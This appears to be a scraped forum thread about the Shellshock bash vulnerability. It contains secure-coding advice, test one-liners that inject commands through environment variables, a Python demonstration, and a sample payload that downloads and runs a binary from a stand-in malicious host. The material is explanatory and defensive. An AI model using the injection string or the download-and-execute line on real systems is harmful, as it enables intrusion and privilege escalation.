Edit: not implying that Debian and Ubuntu aren't affected too, just that the impact there will be lessened.
Edit: not implying that Debian and Ubuntu aren't affected too, just that the impact there will be lessened.
If you need to invoke another program use execve() and friends. The versions that end in -p will even check PATH for you. You don't need a shell to evaluate your arguments. Cut out the middle man and pass the arguments directly. It will save you a lot of stupid bugs.
Defense must use different strategies than offense. An engineer's goal should be to reduce the problem space to something as small as possible, so he has a better chance at implementing a correct solution. Allowing the shell to be invoked is a good way to explode your exploitable surface area.
Anybody who coded in the 1990s knows to stay away from the shell like the plague, even though the syntax parsing and evaluation components in modern shells have improved considerably. Sadly this particular bug harks back to the bad days, when it was more difficult to tell how certain constructs would be evaluated.
It's not that you can't theoretically do it securely, it's just that you're gratuitously playing with fire--fire that has burned countless engineers in the past. The cost+benefit is so indisputably skewed toward little cost and huge risk that it's unprofessional to suggest otherwise.
The shell shouldn't come anywhere near network-facing software, period.
I never claimed it as a drop-in replacement. I think you know the solution to these problems. (I guess maybe someone who naively uses system() might not, so perhaps I need to work on a better spiel.)
> As long as you're not passing arguments from outside sources to the command, using system() should be OK.
Personally I've seen too many bad uses of system() to make that a thing. Maybe they'll not realize it's subject to PATH and that PATH can be untrusted. Maybe they'll not realize they sometimes have asterisks and spaces in a filename. And so forth...
Maybe not in C, but they are a drop-in replacement in just about every scripting language. Perl, Ruby, Python, all have nice high level calls that mostly mimic system() but use execve underneath—You simply pass system() multiple arguments instead of a single string. `system("")` in your production web app server code is almost certainly incorrect.
Sadly I think PHP still doesn't have this.
> As long as you're not passing arguments from outside sources to the command, using system() should be OK.
Very true, but think about whether you really need a shell to launch your command (are you using any shell features?). If not, why not just launch the command directly?
[0] http://www.csoonline.com/article/2687265/application-securit...
[arch/testbed ~] uname -a
Linux 3.2.0-4-amd64 #1 SMP Debian 3.2.54-2 x86_64 GNU/Linux
[arch/testbed ~] env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x'
this is a testMy brain refuses to understand anything more than the beautiful simplicity of a tarball extracted from the / directory. :)
Still waiting on the i386 .deb for sid.
Your link and this link (https://security-tracker.debian.org/tracker/CVE-2014-6271) useful when considered together.
Aaaand now I'm done checking back on this thread. Have fun, folks! :)
sh-3.2$ env x='() { :;}; echo vulnerable' /bin/sh -c "echo this is a test"
vulnerable
this is a testI don't think anybody is worried about software on the system that is using /bin/bash .vs /bin/sh.
Edited to add: Also no differences in capabilities when I cat /proc/self/status
None of which is to say there is clearly no such vulnerability - I'd just like to understand it if there is.
curl malicious.com/local_privilege_escalation_binary -o /tmp/iwin; iwin
could be the payload. This will download then run a secondary attack binary. Then the attacker wins.Basically it goes "why would anyone not follow the execution -> escalation -> own path?" It's such an automatic assumption, combined with the basic premise of "there's no such thing as a secure computer", that the exact details are a hand-wave. This comes from the repeated demonstration that it's almost always true.
#!/bin/bash
So for example, with a foo.sh script of: #!/bin/bash
echo "loser!"
Then for example: vagrant@ubuntu-14:~/bin$ X='() { :; }; echo foo' python
Python 2.7.6 (default, Mar 22 2014, 22:59:56)
[GCC 4.8.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.system("./foo.sh")
foo
loser!
0
>>> import subprocess
>>> subprocess.Popen("./foo.sh")
<subprocess.Popen object at 0x7f04a115f350>
>>> foo
loser!
It should be noted that if the shebang is #!/bin/sh this doesn't work when sh == dash, but given that this wiki page exists on ubuntu:https://wiki.ubuntu.com/DashAsBinSh
That recommends changing broken scripts to #!/bin/bash or changing to sh == bash as solutions. I would guess that there are going to be plenty of easily vulnerable debian/ubuntu systems.
More importantly though, it literally does not matter if this bug is "directly privilege escalating" or "1 step removed privilege escalating", the are fundamentally the same thing. It doesn't matter in any case where a script is executed with bash instead of dash.
It doesn't matter for security. It matters a lot for my understanding of what's going on.
I know systems where bash has been patched to allow execution by certain users, etc.
With this, you can inject commands before such check takes place.
Etc.